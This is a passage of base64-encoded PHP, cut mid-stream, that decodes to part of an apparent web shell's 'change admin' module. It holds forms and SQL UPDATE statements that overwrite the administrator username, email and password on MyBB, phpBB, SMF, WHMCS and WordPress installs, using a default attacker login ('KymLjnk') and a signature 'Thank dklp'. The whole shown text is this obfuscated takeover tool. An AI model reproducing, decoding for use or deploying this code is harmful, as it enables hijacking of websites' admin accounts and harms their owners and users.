NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIEUtbWFpbCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXlvdXItZW1haWxAeHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbW15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1teWJiXyB0eXBlPXRleHQgbmFtZT1wcm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn1lbHNlew0KJGRiaG15ID0gJF9QT1NUWydkYmhteSddOw0KJGRibm15ICA9ICRfUE9TVFsnZGJubXknXTsNCiRkYnVteSA9ICRfUE9TVFsnZGJ1bXknXTsNCiRkYnBteSAgPSAkX1BPU1RbJ2RicG15J107DQogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJobXksJGRidW15LCRkYnBteSk7DQogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm5teSk7DQoNCiR1cm15PXN0cl9yZXBsYWNlKCJcJyIsIiciLCR1cm15KTsNCiRzZXRfdXJteSA9ICRfUE9TVFsndXJteSddOw0KDQokZW1teT1zdHJfcmVwbGFjZSgiXCciLCInIiwkZW1teSk7DQokc2V0X2VtbXkgPSAkX1BPU1RbJ2VtbXknXTsNCg0KJG15X3ByZWZpeCA9ICRfUE9TVFsncHJteSddOw0KDQokdGFibGVfbmFtZTEgPSAkbXlfcHJlZml4LiJ1c2VycyIgOw0KDQokbGVjb25ndGhpZW4zID0gIlVQREFURSAkdGFibGVfbmFtZTEgU0VUIHVzZXJuYW1lID0nIi4kc2V0X3VybXkuIicgV0hFUkUgdWlkID0nMSciOw0KJGxlY29uZ3RoaWVuNCA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCBlbWFpbCA9JyIuJHNldF9lbW15LiInIFdIRVJFIHVpZCA9JzEnIjsNCg0KJG9rMj1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMyk7DQokb2syPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW40KTsNCg0KaWYoJG9rMil7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdNeUJCIHVwZGF0ZSBzdWNjZXNzIC4gVGhhbmsgZGtscCB2ZXJ5IG11Y2ggOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL3BocEJCDQppZiAoaXNzZXQoJF9QT1NUWydwaHBiYiddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBocEJCIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS9jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBiYiB0eXBlPXRleHQgbmFtZT1kYm5waHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXBocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBiYl8gdHlwZT10ZXh0IG5hbWU9cHJwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KfWVsc2V7DQokZGJocGhwID0gJF9QT1NUWydkYmhwaHAnXTsNCiRkYm5waHAgID0gJF9QT1NUWydkYm5waHAnXTsNCiRkYnVwaHAgPSAkX1BPU1RbJ2RidXBocCddOw0KJGRicHBocCAgPSAkX1BPU1RbJ2RicHBocCddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHBocCwkZGJ1cGhwLCRkYnBwaHApOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJucGhwKTsNCg0KJHVycGhwPXN0cl9yZXBsYWNlKCJcJyIsIiciLCR1cnBocCk7DQokc2V0X3VycGhwID0gJF9QT1NUWyd1cnBocCddOw0KDQokcHNwaHA9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzcGhwKTsNCiRwYXNzX3BocCA9ICRfUE9TVFsncHNwaHAnXTsNCiRzZXRfcHNwaHAgPSBtZDUoJHBhc3NfcGhwKTsNCg0KJHBocF9wcmVmaXggPSAkX1BPU1RbJ3BycGhwJ107DQoNCiR0YWJsZV9uYW1lMiA9ICRwaHBfcHJlZml4LiJ1c2VycyIgOw0KDQokbGVjb25ndGhpZW41ID0gIlVQREFURSAkdGFibGVfbmFtZTIgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kc2V0X3VycGhwLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7DQokbGVjb25ndGhpZW42ID0gIlVQREFURSAkdGFibGVfbmFtZTIgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRzZXRfcHNwaHAuIicgV0hFUkUgdXNlcl9pZCA9JzInIjsNCg0KJG9rMz1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuNSk7DQokb2szPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW42KTsNCg0KaWYoJG9rMyl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdwaHBCQiB1cGRhdGUgc3VjY2VzcyAuIFRoYW5rIGRrbHAgdmVyeSBtdWNoIDspJyk7PC9zY3JpcHQ+IjsNCn0NCn0NCg0KLy9TTUYNCmlmIChpc3NldCgkX1BPU1RbJ3NtZiddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFNNRiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2luZGV4LnBocD9hY3Rpb249YWRtaW48YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL1NldHRpbmdzLnBocDwvZm9udD48L2NlbnRlcj4NCiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJoc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9c21mIHR5cGU9dGV4dCBuYW1lPWRibnNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1c21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnBzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIEUtbWFpbCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXlvdXItZW1haWxAeHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbXNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9c21mXyB0eXBlPXRleHQgbmFtZT1wcnNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmhzbWYgPSAkX1BPU1RbJ2RiaHNtZiddOw0KJGRibnNtZiAgPSAkX1BPU1RbJ2RibnNtZiddOw0KJGRidXNtZiA9ICRfUE9TVFsnZGJ1c21mJ107DQokZGJwc21mICA9ICRfUE9TVFsnZGJwc21mJ107DQogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJoc21mLCRkYnVzbWYsJGRicHNtZik7DQogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm5zbWYpOw0KDQokdXJzbWY9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVyc21mKTsNCiRzZXRfdXJzbWYgPSAkX1BPU1RbJ3Vyc21mJ107DQoNCiRlbXNtZj1zdHJfcmVwbGFjZSgiXCciLCInIiwkZW1zbWYpOw0KJHNldF9lbXNtZiA9ICRfUE9TVFsnZW1zbWYnXTsNCg0KJHNtZl9wcmVmaXggPSAkX1BPU1RbJ3Byc21mJ107DQoNCiR0YWJsZV9uYW1lMyA9ICRzbWZfcHJlZml4LiJtZW1iZXJzIiA7DQoNCiRsZWNvbmd0aGllbjcgPSAiVVBEQVRFICR0YWJsZV9uYW1lMyBTRVQgbWVtYmVyX25hbWUgPSciLiRzZXRfdXJzbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOw0KJGxlY29uZ3RoaWVuOCA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBlbWFpbF9hZGRyZXNzID0nIi4kc2V0X2Vtc21mLiInIFdIRVJFIGlkX21lbWJlciA9JzEnIjsNCg0KJGxlY29uZ3RoaWVuNyA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBtZW1iZXJOYW1lID0nIi4kc2V0X3Vyc21mLiInIFdIRVJFIElEX01FTUJFUiA9JzEnIjsNCiRsZWNvbmd0aGllbjggPSAiVVBEQVRFICR0YWJsZV9uYW1lMyBTRVQgZW1haWxBZGRyZXNzID0nIi4kc2V0X2Vtc21mLiInIFdIRVJFIElEX01FTUJFUiA9JzEnIjsNCg0KJG9rND1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuNyk7DQokb2s0PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW44KTsNCg0KaWYoJG9rNCl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdTTUYgdXBkYXRlIHN1Y2Nlc3MgLiBUaGFuayBka2xwIHZlcnkgbXVjaCA7KScpOzwvc2NyaXB0PiI7DQp9DQp9DQoNCi8vV0hNQ1MNCmlmIChpc3NldCgkX1BPU1RbJ3dobWNzJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgV0hNQ1MgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+DQogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaHdobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXdobWNzIHR5cGU9dGV4dCBuYW1lPWRibndobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1d2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnB3aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cndobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN3aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KfWVsc2V7DQokZGJod2htID0gJF9QT1NUWydkYmh3aG0nXTsNCiRkYm53aG0gID0gJF9QT1NUWydkYm53aG0nXTsNCiRkYnV3aG0gPSAkX1BPU1RbJ2RidXdobSddOw0KJGRicHdobSAgPSAkX1BPU1RbJ2RicHdobSddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHdobSwkZGJ1d2htLCRkYnB3aG0pOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJud2htKTsNCg0KJHVyd2htPXN0cl9yZXBsYWNlKCJcJyIsIiciLCR1cndobSk7DQokc2V0X3Vyd2htID0gJF9QT1NUWyd1cndobSddOw0KDQokcHN3aG09c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzd2htKTsNCiRwYXNzX3dobSA9ICRfUE9TVFsncHN3aG0nXTsNCiRzZXRfcHN3aG0gPSBtZDUoJHBhc3Nfd2htKTsNCg0KJGxlY29uZ3RoaWVuOSA9ICJVUERBVEUgdGJsYWRtaW5zIFNFVCB1c2VybmFtZSA9JyIuJHNldF91cndobS4iJyBXSEVSRSBpZCA9JzEnIjsNCiRsZWNvbmd0aGllbjEwID0gIlVQREFURSB0YmxhZG1pbnMgU0VUIHBhc3N3b3JkID0nIi4kc2V0X3Bzd2htLiInIFdIRVJFIGlkID0nMSciOw0KDQokb2s1PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW45KTsNCiRvazU9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEwKTsNCg0KaWYoJG9rNSl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdXSE1DUyB1cGRhdGUgc3VjY2VzcyAuIFRoYW5rIGRrbHAgdmVyeSBtdWNoIDspJyk7PC9zY3JpcHQ+IjsNCn0NCn0NCg0KLy9Xb3JkUHJlc3MNCmlmIChpc3NldCgkX1BPU1RbJ3dvcmRwcmVzcyddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFdvcmRQcmVzcyBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL3dwLWFkbWluPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS93cC1jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh3cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXdvcmRwcmVzcyB0eXBlPXRleHQgbmFtZT1kYm53cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1d3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJ3cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN3cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9d3BfIHR5cGU9dGV4dCBuYW1lPXByd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4